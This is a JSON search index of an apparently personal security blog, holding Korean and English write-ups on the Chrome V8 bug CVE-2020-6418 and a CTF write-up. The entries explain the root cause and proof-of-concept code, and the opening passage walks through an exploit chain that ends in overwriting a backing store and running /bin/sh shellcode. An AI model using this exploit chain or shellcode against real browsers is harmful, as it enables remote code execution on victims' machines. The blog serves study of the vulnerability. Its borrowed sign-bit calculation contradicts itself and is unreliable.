되면 사실상 float_arr_struct의 주소 값을 들고오는 것과 마찬가지입니다. 이때 해당 주소의 값과 0xffffffff00000000n 가 and 연산을 하는걸 볼 수 있는데 해당 연산을 진행하면 float_arr_struct 객체의 상위 주소를 들고오게되고 해당 상위 주소와 addr 즉 float_arr_struct-0x10 값을 or 연산을 하여 합쳐줍니다. 그러면 float_arr_struct 위치를 0x10만큼 땡기게 됩니다. 이해를 위해 사진을 추가해서 설명해보겠습니다. 소스코드에 DebugPrint를 추가해서 보겠습니다.float_aar_struct 입니다.fake 입니다. float_arr_struct의 elments 포인터가 가리키는 값을 자세히 보면 float_arr_struct 배열의 -0x8 위치에 존재합니다. 그러면 그 부분부터 map , length , float_arr_struct[0] 값이 들어가게 될겁니다. 그래서 0x10만큼 float_arr_struct 값에서 땡겨준겁니다.사진을 보면 헷갈릴 수 있는데 빨간색 박스는 float_aar_struct 배열의 map , properties , elements , length이고 초록 박스는 float_aar_struct배열의 elements field 부분입니다. 마지막으로 노란색 박스는 fake 배열의 map , propertieselements , length 입니다. 그래서 간단히 설명하자면 float_aar_struct의 elements필드의 float_aar_struct[1] 필드가 fake 배열의 elements 포인터 값과겹치게 된겁니다. 그럼 fake 배열의 fake[0]을 읽게 된다면 아까 봤던let elements = addr - 8n; // elements pointer 부분이 작용하여 map , length 이후 fake[0] 을 읽을떄 비로소 addr 값 자체를 읽어올 수 있게 됩니다. 마지막에 return ftoi(fake[0]); fake[0]의 값을 들고오는 이유는 rwx 영역 즉 addr 값을 들고 오기 위해서라는 걸 알 수 있습니다. 이렇기 때문에` let fake = fakeobj(addrof(float_arr_struct) - 0x10n);’ 부분에서 0x10을 뺴줘서이 부분에서 fake의 elements 포인터 위치에 (addr-0x8) 주소값이 들어가게 해준겁니다. 그러면 fake 입장에선 배열의 값을 들고올때 elements 포인터 (addr(rwx)-0x8)에서 map , length 이후 위치인 fake(0) = rwx 영역의 주소값을 들고올 수 있게 됩니다. 같은 설명인데 2번 한겁니다. 그럼 이후 들고온 rwx영역의 주소를 가지고 backing store를 덮습니다.// overwrite backing storelet bs = ftoi(oob_arr[12]);bs &amp;= 0xffffffffn;bs |= rwx &lt;&lt; 32n;oob_arr[12] = itof(bs);bs = ftoi(oob_arr[13]);bs &amp;= 0xffffffff00000000n;bs |= rwx &gt;&gt; 32n;oob_arr[13] = itof(bs);이 부분도 이해하기 쉽게 분석해보겠습니다.바뀌기전과 후로 디버깅해보겠습니다.해당 사진은 oob_aar과buf(버퍼) 입니다. 버퍼의 backing store를 기억해주시길 바라겠습니다.이렇게 oob_aar의 elements 필드를 살펴보면 이전 사진에서 봤던 buf의 backing store 값이 oob_aar[12]에 위치하는 모습을 볼 수 있습니다. 그럼 이 값을 bs에 저장을 하고 ffffffffn과 and연산을 하여 오브젝트 주소 값만 살립니다. 이후 해당 주소의 상위비트와 하위비트 모두 rwx 값으로 교체하는 걸 볼 수 있습니다. 간단히 말해서 buf의 backing store 값이 rwx영역 즉 JIT코드가 위치하는 지점으로 변경되었습니다. 그 다음 Debugprint를 확인해서 체크해보겠습니다.이제 버퍼의 backing store 포인터 값을 확인해보면rwx영역의 시작점으로 변경되어 있는 것을 확인할 수 있습니다.이제 마지막으로 이전에 선언해두었던 let shellcode = [106, 104, 72, 184, 47, 98, 105, 110, 47, 47, 47, 115, 80, 72, 137, 231, 104, 114, 105, 1, 1, 129, 52, 36, 1, 1, 1, 1, 49, 246, 86, 106, 8, 94, 72, 1, 230, 86, 72, 137, 230, 49, 210, 106, 59, 88, 15, 5];셸코드 부분을// execute shellcodelet view = new DataView(buf);for (let i = 0; i &lt; shellcode.length; i++) { view.setUint8(i, shellcode[i]); // copy shellcode in rwx memory region}sh(); // executeDataView를 이용하여 rwx영역을 backing store로 가리키고 있는 buf 버퍼에 셸코드를 작성해줍니다. 이후 이전에 wasm 부분을 작성할때 exports 해두었던 sh()함수로 JIT코드들을 실행시키면 우리가 JIT영역에 작성한 셸코드가 실행이 됩니다."
    } ,
  
    {
      "title"       : "CVE-2020-6418-PoC(EN)",
      "category"    : "PoC",
      "tags"        : "V8, 1-day, PoC",
      "url"         : "./CVE-2020-6418-PoC(EN).html",
      "date"        : "2025-02-11 00:00:00 +0000",
      "description" : "CVE-2020-6418-PoC(EN)",
      "content"     : "Following the last root cause, I will explain PoC.For source code and analysis, refer to the https://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreate blog. Because this is an analysis for study purposes, the content may be incorrect.PoCThe PoC source code is as follows./* poc.js */// Copyright 2020 the V8 project authors. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.// Flags: --allow-natives-syntaxlet a = [0, 1, 2, 3, 4];function empty() { }function f(p) { return a.pop(Reflect.construct(empty, arguments, p));}let p = new Proxy(Object, { get: () =&gt; (a[1] = 1.1, Object.prototype)});function main(p) { return f(p);}% PrepareFunctionForOptimization(empty);% PrepareFunctionForOptimization(f);% PrepareFunctionForOptimization(main);main(empty);main(empty);% OptimizeFunctionOnNextCall(main);print(main(p));When we start the analysislet a = [0, 1, 2, 3, 4];This is the array declaration part, and at this time, the array is recognized as smi type.function empty() { }naeyong-i eobsneun geol hwag-inhal su issneunde i hamsuui gyeong-u chuhue Reflect.constructleul sayonghal ttae saengseongjaloseohochul-i doeneunde ittae haedang hamsuui naeyong-i eobs-eoseo jogeum deo bunseoghagi swibge han geos gatseubnida.You can see that there is no content. In the case of this function, it will be used as a constructor when using Reflect.construct later.It is called, but at this time, there is no content of the function, so it seems to have made it a little easier to analyze.function f(p) { return a.pop(Reflect.construct(empty, arguments, p));}In this part, the empty function is called in the form of a constructor using Reflection in Reflect.construct(empty, arguments, p). Creation is done based on p (new.target role) entered as an argument. Here, if p is a proxy, the proxy’s get trap occurs. may be called.The return value of the a.pop() part is actually the value taken out of the last element from a, but pop’s arguments such as Reflect.construct(empty, arguments, p) are ignored.Reflect.construct(empty, arguments, p) is entered as an argument to pop and includes Jscreate in the effect chain of pop(). reflect.construct() becomes jscreate in the sea of ​​nodes, so the jscreate part seen in the rootcause is executed.let p = new Proxy(Object, { get: () =&gt; (a[1] = 1.1, Object.prototype)});If the get trap is called, the code changes the type by putting 1.1 at index 1 of the a array. There is a step to look up the prototype when calling reflect.construct(empty, argumets, p), but v8 uses Reflect.construct(ctor, args, newTarget) When executing, it finds newTarget.prototype (i.e. p.prototype) and sets that object as the prototype of the new instance.At this time, when the proxy’s get trap is executed, the return value acts as newTarget.prototype, so if a value such as null or undefined is returned here, Since the prototype of a new object may become strange or behave differently than expected, an error may occur, so we safely return object.prototype.If this happens, the array is of double type, but TurboFan still reads it as Smi type.If you run itYou can see strange values ​​coming out./* poc.js */// Copyright 2020 the V8 project authors. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.// Flags: --allow-natives-syntaxlet a = [0, 1, 2, 3, 4];function empty() { }function f(p) { return a.pop(Reflect.construct(empty, arguments, p));}let p = new Proxy(Object, { get: () =&gt; { a[1] = 1.1; % DebugPrint(a); return Object.prototype; }});function main(p) { return f(p);}% PrepareFunctionForOptimization(empty);% PrepareFunctionForOptimization(f);% PrepareFunctionForOptimization(main);main(empty);main(empty);% OptimizeFunctionOnNextCall(main);print(main(p));I added %debugprint and ran it.The part that is printed is based on when the get trap was called. The length of the array at this time is 3, so if pop() is performed, the last item, that is, a[2], will be returned. If you look up the location of the element,From our perspective, since we changed it to a double type, it is recognized as the value of indices 0, 1, and 2 based on the red box. From TorboFan’s perspective,Because it is recognized as an smi type, the 3rd box based on the red box is recognized as a[2], resulting in that value.However, in the case of v8, the integer is multiplied by 2 and stored in memory, so the value is divided by 2 and returned.If we borrow the power of GPT for the calculation process,Calculation process:0x9999999a is 2576980378 in decimal. If you multiply an integer by 2 when storing it in an array, you must divide it by 2 when reading it from the array: 0x9999999a÷2=0x4ccccccd 0x4ccccccd is represented as a negative number when interpreted as a signed integer. This is because it is processed in 2’s complement method: Binary representation of 0x4ccccccd: 01001100 11001100 11001100 11001101 It is interpreted as a signed 32-bit integer, which is positive because the sign bit is 0. Turbofan converts this value to a Signed Int and returns -858993459. You can see that it is the same as the value in the photo. So, from TurboFan’s perspective, access is made in 4 bytes, but the array itself has been changed to be stored in 8 bytes. For example, if indexing is possible only by 1, 2, and 3, the actual amount should be 24 bytes, but in the case of TurboFan, it is calculated as 4 bytes.Since the maximum is 3, only a total of 12 bytes can be accessed.The following example is changing a Double array to an Object array. Unlike the above, this is an example of increasing rather than doubling.Since the object’s address is stored in 4-byte format with pointer compression applied, the size of the array element can be reduced from 8 bytes to 4 bytes.Below is the source code./* poc.js */// Copyright 2020 the V8 project authors. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.// Flags: --allow-natives-syntaxlet a = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7];a.pop();a.pop();a.pop();function empty() { }function f(p) { a.push(Reflect.construct(empty, arguments, p) ? 1.1 : 1.1);}let p = new Proxy(Object, { get: () =&gt; { a[1] = {}; % DebugPrint(a); return Object.prototype; }});function main(p) { f(p);}% PrepareFunctionForOptimization(empty);% PrepareFunctionForOptimization(f);% PrepareFunctionForOptimization(main);main(empty);main(empty);% OptimizeFunctionOnNextCall(main);main(p);There are a few parts that have changed here, and if you check just those parts, a.pop creates a space for push and a[1] = {} changes it to an object array.({} means object)When you run it, first of all, pop is 3 times and push is 3 times, so from TurboFan’s perspective, the current get trap location should correspond to the last push, that is, a[6].Based on TurboFanactual standardsBased on TurboFan, it is the location a[6], and based on actual standards, it is the location a[12] and a[13].This allows you to access locations that are twice as large as the original.When using data before changing the type, it does not matter because the value in memory has not changed, but if you push additionally later, it will be extended to the new area. I end up doing OOB."
    } ,
  
    {
      "title"       : "CVE-2020-6418-PoC(KO)",
      "category"    : "PoC",
      "tags"        : "V8, 1-day, PoC",
      "url"         : "./CVE-2020-6418-PoC(KO).html",
      "date"        : "2025-01-23 00:00:00 +0000",
      "description" : "CVE-2020-6418-PoC(KO)",
      "content"     : "지난 번의 root cause에 이어 PoC에 대해 설명해보겠습니다.소스코드와 분석은 https://cwresearchlab.co.kr/entry/CVE-2020-6418-Incorrect-side-effect-modelling-for-JSCreate 블로그를 참고하였습니다. 공부를 위한 분석이기 때문에 내용이 틀릴수도 있습니다.PoCPoC 소스코드는 아래와 같습니다./* poc.js */// Copyright 2020 the V8 project authors. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.// Flags: --allow-natives-syntaxlet a = [0, 1, 2, 3, 4];function empty() { }function f(p) { return a.pop(Reflect.construct(empty, arguments, p));}let p = new Proxy(Object, { get: () =&gt; (a[1] = 1.1, Object.prototype)});function main(p) { return f(p);}% PrepareFunctionForOptimization(empty);% PrepareFunctionForOptimization(f);% PrepareFunctionForOptimization(main);main(empty);main(empty);% OptimizeFunctionOnNextCall(main);print(main(p));분석을 시작해보면 let a = [0, 1, 2, 3, 4];배열 선언 부분인데 이때 해당 배열을 smi 타입으로 인식하게 됩니다.function empty() { }내용이 없는 걸 확인할 수 있는데 이 함수의 경우 추후에 Reflect.construct를 사용할 때 생성자로서호출이 되는데 이때 해당 함수의 내용이 없어서 조금 더 분석하기 쉽게 한 것 같습니다.function f(p) { return a.pop(Reflect.construct(empty, arguments, p));}이 부분은 Reflect.construct(empty, arguments, p) 에서 Reflection을 이용하여 empty함수를 생성자 형태로 호출을 하고 인자로 들어온 p(new.target 역할)를 바탕으로 생성이 이뤄지는데 여기서 p가 만약 프록시(Proxy)라면 프록시의 get 트랩이 호출 될 수 있습니다.a.pop()부분은 반환값은 사실상 a에서 마지막 요소를 꺼낸 값인데 pop의 인자 Reflect.construct(empty, arguments, p) 등은 무시되지만pop의 인자로 Reflect.construct(empty, arguments, p) 가 들어가서 pop()의 effect chain에 Jscreate를 포함시킵니다. reflect.construct()는 sea of nodes에서 jscreate가 되므로 rootcause에서 본 jscreate 부분이 실행됩니다.let p = new Proxy(Object, { get: () =&gt; (a[1] = 1.1, Object.prototype)});만약 get 트랩을 호출하게 된다면 a 배열의 1번 인덱스에 1.1을 넣어 타입을 변경하는 코드입니다. reflect.construct(empty,argumets, p) 호출시 프로토 타입을 조회하는 단계가 있는데 v8은 Reflect.construct(ctor, args, newTarget)를 수행할 때 newTarget.prototype(즉 p.prototype)을 찾아서 그 객체를 새로운 인스턴스의 prototype으로 설정을 합니다.이떄 프록시의 get 트랩이 실행될 때 반환값이 곧 newTarget.prototype 역할을 하므로 만약 여기에 null이나 undefined 같은 값을 반환하면 새로운 객체의 프로토타입이 이상해지거나 기대했던 동작과 달라져 오류가 발생할수도 있으므로 안전하게 object.prototype을 반환하게 했습니다.이렇게 된다면 해당 배열은 double 타입이지만 TurboFan은 여전히 Smi타입으로 읽어들이는 문제를 볼 수 있습니다.실행을 시켜보면이상한 값이 나오는 걸 볼 수 있는데/* poc.js */// Copyright 2020 the V8 project authors. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.// Flags: --allow-natives-syntaxlet a = [0, 1, 2, 3, 4];function empty() { }function f(p) { return a.pop(Reflect.construct(empty, arguments, p));}let p = new Proxy(Object, { get: () =&gt; { a[1] = 1.1; % DebugPrint(a); return Object.prototype; }});function main(p) { return f(p);}% PrepareFunctionForOptimization(empty);% PrepareFunctionForOptimization(f);% PrepareFunctionForOptimization(main);main(empty);main(empty);% OptimizeFunctionOnNextCall(main);print(main(p));%debugprint를 추가해서 실행을 해봤습니다.print 되는 부분은 get 트랩이 호출되었을 떄 기준이고 이때의 배열의 길이는 3이므로 만약 pop()를 하면 마지막 항목 즉 a[2]를 반환하게 될텐데 element의 위치를 조회해보면 우리 입장에서 봤을 땐 double형으로 바꿨기에 빨간 상자를 기준으로 0 , 1 , 2 번 인덱스의 값으로 인식하지만 TorboFan 입장에선smi타입으로 인식하기 때문에 빨간 상자 기준으로 3번째 박스를 a[2]로 인식하게 되어 저 값이 나오게 되었던겁니다.근데 이때 v8의 경우 정수는 2를 곱해서 메모리에 저장하기에 해당 값을 2로 나눠서 반환을 해줍니다.계산과정을 GPT의 힘을 빌려보면계산 과정:0x9999999a는 10진수로 2576980378입니다. 정수를 배열에 저장할 때 2를 곱했다면, 배열에서 읽을 때는 2로 나눠야 합니다: 0x9999999a÷2=0x4ccccccd 0x4ccccccd는 부호 있는 정수로 해석할 때 음수로 표현됩니다. 이는 2의 보수법으로 처리되기 때문입니다: 0x4ccccccd의 이진수 표현: 01001100 11001100 11001100 11001101 이는 부호 있는 32비트 정수로 해석되며, 부호 비트가 0이므로 양수입니다. 이 값을 Turbofan이 부호 있는 정수(Signed Int)로 변환하면서 -858993459로 반환됩니다. 사진의 값과 같음을 알 수 있습니다. 그래서 TurboFan의 입장에선 4바이트로 접근을 하지만 배열 자체는 8바이트로 저장하는 형태로 바뀌었음으로 인덱싱을 예를 들어 1 , 2 , 3 만큼씩만 가능하다고 하였을 때 실제 양은 24바이트여야겠지만 4바이트로 계산하는 TurboFan의 경우최대가 3이기 때문에 총 12바이트까지만 접근할 수 있게 되는 것입니다.다음 예시는 Double 배열을 Object 배열로 바꾸는 것인데 이것은 위와 다르게 2배가 줄어드는 것이 아닌 늘어나는 예시입니다.object의 주소는 pointer compression이 적용되어 4바이트 형태로 저장되므로 배열의 원소의 크기를 8바이트에서 4바이트로 줄일 수 있습니다.아래는 소스코드입니다./* poc.js */// Copyright 2020 the V8 project authors. All rights reserved.// Use of this source code is governed by a BSD-style license that can be// found in the LICENSE file.// Flags: --allow-natives-syntaxlet a = [0.1, 0.2, 0.3, 0.4, 0.5, 0.6, 0.7];a.pop();a.pop();a.pop();function empty() { }function f(p) { a.push(Reflect.construct(empty, arguments, p) ? 1.1 : 1.1);}let p = new Proxy(Object, { get: () =&gt; { a[1] = {}; % DebugPrint(a); return Object.prototype; }});function main(p) { f(p);}% PrepareFunctionForOptimization(empty);% PrepareFunctionForOptimization(f);% PrepareFunctionForOptimization(main);main(empty);main(empty);% OptimizeFunctionOnNextCall(main);main(p);여기서 달라진 부분이 몇가지 있는데 그 부분만 확인해보면 a.pop를 통해 push를 할 공간을 만들어주고 a[1] = {}를 통해 객체 배열로 변경시킵니다.({}는 객체를 의미함)실행을 해보면 우선 pop이 3번 push가 3번이므로 TurboFan 입장에선 현재 get 트랩의 위치는 마지막 push 즉 a[6]에 해당하여야 합니다.TurboFan기준실제 기준TurboFan 기준으론 a[6] 위치이고 실제 기준으론 a[12] , a[13]의 위치입니다.그렇기 때문에 원래보다 2배 더 큰 위치까지 액세스할 수 있습니다.타입을 변경하기 전의 데이터들을 사용할땐 메모리 상 값은 바뀌지 않았으므로 상관 없겠지만 이후에 추가로 push를 한다면 새로운 영역까지 OOB를 하게 되버립니다."
    } ,
  
    {
      "title"       : "New Year CTF 2025(Write-up)",
      "category"    : "review",
      "tags"        : "CTF, Write up",
      "url"         : "./New-year-CTF-2025.html",
      "date"        : "2025-01-15 00:00:00 +0000",
      "description" : "New year CTF 2025(Write-up)",
      "content"     : "I wrote a write-up for the CTF I recently participated in.Since I’ve been juggling a lot of things lately, I could only focus on solving problems that could be completed within an hour.It’s a simple write-up so I don’t think there’s much to see.For the ones I couldn’t solve, I’ll try to post their write-ups later.site : http://ctf-spcs.mf.grsu.by/welcomeThis is a welcome problem, and the contents are as follows.This CTF uses Telegram as its main community and Discord as its second community.Etc.. and flag were listed, so I entered the flag.crashmeThis problem is a simple overflow problem, and the source code is as follows.#include &lt;stdio.h&gt;#include &lt;string.h&gt;#include &lt;stdlib.h&gt;int main(int argc, char *argv[]){ char buffer[32]; printf(\"Give me some data: \\n\"); fflush(stdout); fgets(buffer, 64, stdin); printf(\"You entered %s\\n\", buffer); fflush(stdout); return 0;}If you look, the current buffer itself has a size of 32, but since it receives input as 64, you can see that overflow is occurring.At this time, I was wondering where to get the flag, but looking at the problem comment, I thought I could just cause a break, so I proceeded as is.Bel_money(part_1)If you download this question, you can see that it is in pdf format.So, at first I tried extracting with binwalk, but nothing really happened. lolSince it was a Beginner problem, I thought it would be simpler, so I looked into it further.In this way, I was able to see the highlighting on the picture.The picture below was also the same.Just combine the two parts and you’re done!part1: grodno{More_details_at:_https://www.monetnik.ru/obpart2: uchenie/bonistika/banknoty-belorussii-1992-2000/}grodno{More_details_at:_https://www.monetnik.ru/obuchenie/bonistika/banknoty-belorussii-1992-2000/}City sculptureThis city sculpture is installed on one of Grodno’s main tourist streets called Eliza Ozheshko.Installation date: January 1, 2009Sculptor: Vladimir PanteleevMaterial: BronzePedestal: GraniteWeight: 40kgThe names of the statues are given in Latin format, available at maps.google.com.Answer format:grodno{name-of-sculpture}It’s a simple matter of finding the statue on Google Maps and finding its name.So if you look for itThis friend is the answer.grodno{Lyagushka-Puteshestvennitsa}Symbolhaedang sajin-eul bomyeon symbol of the sun-eulo nawaissdageulaeseo jeongdab-eun sun-ida.If you look at the photo, it appears as a symbol of the sun.So the correct answer is sun.Broken QRfile isThis picture is given, and if you create the corresponding QR and take a picture, a flag will appear.So, if you create the same QR code in the link below and take a picture of it with a camera, a flag will be printed.Address of the tool I used : https://merri.cx/qrazybox/grodno{It’s_h4rd_t0_l1ve_without_R33d-S0l0m0n_c0d3s!}From 8 to 16If you look at the downloaded file in the problem as hxd, you can get the bytes.It is a simple problem that can be solved by making the inverse function of the function shown in the source code for the bytes.def rev001(flag): return ''.join([chr((ord(flag[i]) &lt;&lt; 8) + ord(flag[i + 1])) for i in range(0, len(flag), 2)])Whose IP?The highlighted part is the flag.Beer&amp;BooksThe content is roughly a matter of entering the coordinates of the location where the photo was taken.Since this was a restaurant, the address was converted into coordinates and verified.(plac Konstytucji 1, 00-647 Warszawa, Poland)The Beginning of CyberwarsThis is a problem that simply connects to nc and enters the answers in order.The hacker sentIf the letters look strange and you see the first one as you, just change the same letters.So I changed itIt became grodno{you_go_on_for_a_way_at_crypto}.I guess it’s wrong, I tried but got hit…Bel_money(part_2)It seemed similar to problem number 1 I solved earlier, but it felt like a lot of photos had been added, so I tried deleting the photos.Found flag.ramsomLikewise, it is a method of solving problems by connecting.Virus.BYActually, the problem itself is simple.However, it was a very frustrating problem.Number 9 was so poor that it felt like brute force.Ha… I found the correct answer by going to the link on Wikipedia and entering my last name.APTThis is the same type of problem!I was a bit stuck on the Lazarus group’s 2014 attack problem… but somehow I solved it.ChurchI thought this question was a bit difficult, but it seemed to be easy.When I search endlessly, two poet names come up like that, and when I put the poet’s name in front of them, it gets verified and I solve them all.Like this, Osint solves everything"
    } ,
  
    {
      "title"       : "CVE-2020-6418-Rootcause(EN)",
      "category"    : "Rootcause",
      "tags"        : "V8, 1-day, rootcause",
      "url"         : "./CVE-2020-6418-Rootcause(EN).html",
      "date"        : "2025-01-09 00:00:00 +0000",
      "description" : "CVE-2020-6418-Rootcause(EN)",
      "content"     : "Let me introduce the root cause of CVE-2020-6418 in Chrome’s V8 JavaScript engine.Settings# install depot_toolscd ~git clone https://chromium.googlesource.com/chromium/tools/depot_tools.gitexport PATH=$HOME/depot_tools:$PATHecho 'export PATH=$HOME/depot_tools:$PATH' &gt;&gt; ~/.zshrc# get V8cd ~mkdir v8cd v8fetch v8cd v8git checkout bdaa7d66a37adcc1f1d81c9b0f834327a74ffe07# build V8gclient sync -Dsudo apt install -y python ninja-buildbuild/install-build-deps.sh./tools/dev/gm.py x64.releaseBackgroundsTo explain the root cause, I will first introduce the essential concepts needed for better understanding.Map InferenceMap inference in V8 is the process of inferring the map, or type, of an object during the optimization phase.The reason for this process is that V8 handles JavaScript, a dynamic language, where the map of an object can change at runtime.At this point, continuously updating the map information is essential to perform or maintain optimization.Let’s take a look at an example.(To use debug commands in V8, you must enable the –allow-natives-syntax option.Examples of debug commands include: %DebugPrint(), %SystemBreak(), and others.)Currently, it can be confirmed that the array is of the SMI type.At this point, if the value at the 0th index of the array is changed to 1.1, you can observe that the map, which was previously of the SMI type, is updated to DOUBLE.(In V8, this is part of a broader concept known as type transition.)The results inferred by Map Inference can fall into one of the following two categories:/* src/compiler/map-inference.h */// The MapInference class provides access to the \"inferred\" maps of an// {object}. This information can be either \"reliable\", meaning that the object// is guaranteed to have one of these maps at runtime, or \"unreliable\", meaning// that the object is guaranteed to have HAD one of these maps.//// The MapInference class does not expose whether or not the information is// reliable. A client is expected to eventually make the information reliable by// calling one of several methods that will either insert map checks, or record// stability dependencies (or do nothing if the information was already// reliable). Reliable: If there is no possibility of the map changing at runtime, it is returned as reliable. Unreliable: If there is a possibility of the map changing at runtime, it is returned as unreliable.In V8, there is a node called MapChecks, and its role is to verify the map of an object that contains this node at runtime. In the case of reliable, as mentioned earlier, there is no possibility of the map changing. Therefore, if the routine were to recheck the map, it would result in performance degradation. To address this, objects marked as reliable do not have a MapChecks node inserted, thereby optimizing performance.For unreliable objects, map verification is necessary for optimization because the map might change at runtime. To handle this, MapChecks nodes are inserted for unreliable objects, ensuring that the map is checked at runtime. This allows the system to maintain optimization despite the potential for map changes. ReceiverIn JavaScript, the receiver refers to the object that is the target of a function call. For example, when calling arr.pop() on an array arr, the receiver of the pop() function is arr.Receiverex) arr.pop() -&gt; pop()Sea of nodesSea of Nodes is a technique used by V8’s TurboFan for optimization. It represents all operations and data in a program as nodes in a graph-based Intermediate Representation (IR).For example, if the JavaScript code is as follows:let a = 10;let b = 20;let c = a + b;console.log(c);When represented using the Sea of Nodes, it would look like this: a = 10 -&gt; node 1 b = 20 -&gt; node 2 c = a + b -&gt; node 3 (Node 1 and Node 2 dependencies) console.log(c) -&gt; node 4(dependent on Node 3) This is a way of representing the results as dependencies between nodes. The basic operational sequence of the Sea of Nodes is as follows. 1.Front-End: Converts JavaScript source code into bytecode, and then transforms it into an Intermediate Representation (IR) that TurboFan can understand. 2.Sea of Nodes Graph Creation: Represents all operations and values as nodes, forming a graph. This graph is unordered and solely depicts the dependency relationships between nodes. 3.Optimization: Performs various optimizations, such as constant folding, common subexpression elimination, dead code elimination, and loop optimization. 4.Back-End: Generates machine code based on the optimized node graph.Effect chainIn the Effect Chain of the Sea of Nodes, the portion that connects the transformation process of a function is referred to as the function’s Effect Chain. The transformations mentioned here encompass all operations during runtime that can alter the map of an object or array due to structural or state changes.Examples of Transformation Processes: Adding or removing elements in an array Resizing an array Changing the type of elements in an array Adding or removing properties of an object Changing the type of an object’s property Modifying the prototype of an object Declaring variables and optimizing their usage※Many more such transformations exist.patch1The patch for this vulnerability consists solely of the addition of the red line shown in the diagram.(The specific location is in the InferReceiverMapsUnsafe() function, where the JSCreate node is processed.)For now, we will simply note this and move on; the explanation will be revisited after discussing the root cause in detail.Root cause// staticNodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet&lt;Map&gt;* maps_return) { HeapObjectMatcher m(receiver); if (m.HasValue()) { HeapObjectRef receiver = m.Ref(broker); // We don't use ICs for the Array.prototype and the Object.prototype // because the runtime has to be able to intercept them properly, so // we better make sure that TurboFan doesn't outsmart the system here // by storing to elements of either prototype directly. // // TODO(bmeurer): This can be removed once the Array.prototype and // Object.prototype have NO_ELEMENTS elements kind. if (!receiver.IsJSObject() || !broker-&gt;IsArrayOrObjectPrototype(receiver.AsJSObject())) { if (receiver.map().is_stable()) { // The {receiver_map} is only reliable when we install a stability // code dependency. *maps_return = ZoneHandleSet&lt;Map&gt;(receiver.map().object()); return kUnreliableReceiverMaps; } } } InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect-&gt;opcode()) { case IrOpcode::kMapGuard: { Node* const object = GetValueInput(effect, 0); if (IsSame(receiver, object)) { *maps_return = MapGuardMapsOf(effect-&gt;op()); return result; } break; } case IrOpcode::kCheckMaps: { Node* const object = GetValueInput(effect, 0); if (IsSame(receiver, object)) { *maps_return = CheckMapsParametersOf(effect-&gt;op()).maps(); return result; } break; } case IrOpcode::kJSCreate: { if (IsSame(receiver, effect)) { base::Optional&lt;MapRef&gt; initial_map = GetJSCreateMap(broker, receiver); if (initial_map.has_value()) { *maps_return = ZoneHandleSet&lt;Map&gt;(initial_map-&gt;object()); return result; } // We reached the allocation of the {receiver}. return kNoReceiverMaps; } break; }This section pertains to the content of the InferReceiverMapsUnsafe() function, where the patch was applied.Within the function, the switch (effect-&gt;opcode()) statement categorizes the type of effect and proceeds with the code accordingly. However, since the patch specifically targets the part handling JSCreate, we will focus solely on that portion for further examination.NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet&lt;Map&gt;* maps_return) {... InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect-&gt;opcode()) {... } // Stop walking the effect chain once we hit the definition of // the {receiver} along the {effect}s. if (IsSame(receiver, effect)) return kNoReceiverMaps; // Continue with the next {effect}. DCHECK_EQ(1, effect-&gt;op()-&gt;EffectInputCount()); effect = NodeProperties::GetEffectInput(effect); }}To explain the function’s details, the InferReceiverMapsUnsafe() function’s role is to trace back the effect chain to infer the map of the receiver. By examining the parameters of the InferReceiverMapsUnsafe() function, we can identify the receiver and effect concepts studied earlier. The receiver passed as a parameter refers to the node for which the map is to be inferred, and the effect refers to the node from which the exploration begins. The function returns a total of three possible outcomes, as follows./* src/compiler/node-properties.h */ // Walks up the {effect} chain to find a witness that provides map // information about the {receiver}. Can look through potentially // side effecting nodes. enum InferReceiverMapsResult { kNoReceiverMaps, // No receiver maps inferred. kReliableReceiverMaps, // Receiver maps can be trusted. kUnreliableReceiverMaps // Receiver maps might have changed (side-effect). };kNoReceiverMaps is returned when the receiver’s map cannot be inferred. kReliableReceiverMaps is returned when the receiver’s map is stable and can be trusted not to change. kUnreliableReceiverMaps is returned when the receiver’s map has changed or is likely to change. Below is the part of the code that processes JSCreate, where the vulnerability exists.NodeProperties::InferReceiverMapsResult NodeProperties::InferReceiverMapsUnsafe( JSHeapBroker* broker, Node* receiver, Node* effect, ZoneHandleSet&lt;Map&gt;* maps_return) {... InferReceiverMapsResult result = kReliableReceiverMaps; while (true) { switch (effect-&gt;opcode()) {// Check what the effect is... case IrOpcode::kJSCreate: { // If it's a JSCreate node, execute the following code if (IsSame(receiver, effect)) { // If receiver equals effect, attempt to fetch the receiver's initial map base::Optional&lt;MapRef&gt; initial_map = GetJSCreateMap(broker, receiver); if (initial_map.has_value()) { *maps_return = ZoneHandleSet&lt;Map&gt;(initial_map-&gt;object()); return result; // Return the result } // We reached the allocation of the {receiver}. return kNoReceiverMaps; // If the initial map could not be fetched, return kNoReceiverMaps } break; }... }... }}In the part (IsSame(receiver, effect)), if receiver equals effect, the routine to fetch the initial map of the receiver is executed.If they are not the same, the code below is executed. // Continue search for receiver map outside the loop. Since operations // inside the loop may change the map, the result is unreliable. effect = GetEffectInput(effect, 0); result = kUnreliableReceiverMaps; continue;This code is part of the Effect Chain Loop, located at /src/compiler/node-properties.cc, starting from line 443. The code executes when the receiver and effect are not the same and continues running until they match. When the receiver and effect are not equal, it indicates that the effect chain has not yet been fully traversed, meaning there is still more to trace back. This implies that there might be other effects in the chain where the map could have been changed, so all effects must be checked. As a result, if the receiver and effect are not equal, this loop is executed to continue traversing the chain until all potential changes to the map are verified. The InferReceiverMapsUnsafe() function is called from the constructor of the MapInference class, as shown in the following code:MapInference::MapInference(JSHeapBroker* broker, Node* object, Node* effect) : broker_(broker), object_(object) { ZoneHandleSet&lt;Map&gt; maps; auto result = NodeProperties::InferReceiverMapsUnsafe(broker_, object_, effect, &amp;maps); // Retrieve the result of the InferReceiverMapsUnsafe() function. maps_.insert(maps_.end(), maps.begin(), maps.end()); // // Store the returned maps. maps_state_ = (result == NodeProperties::kUnreliableReceiverMaps) // Check the state of the returned maps and handle it as 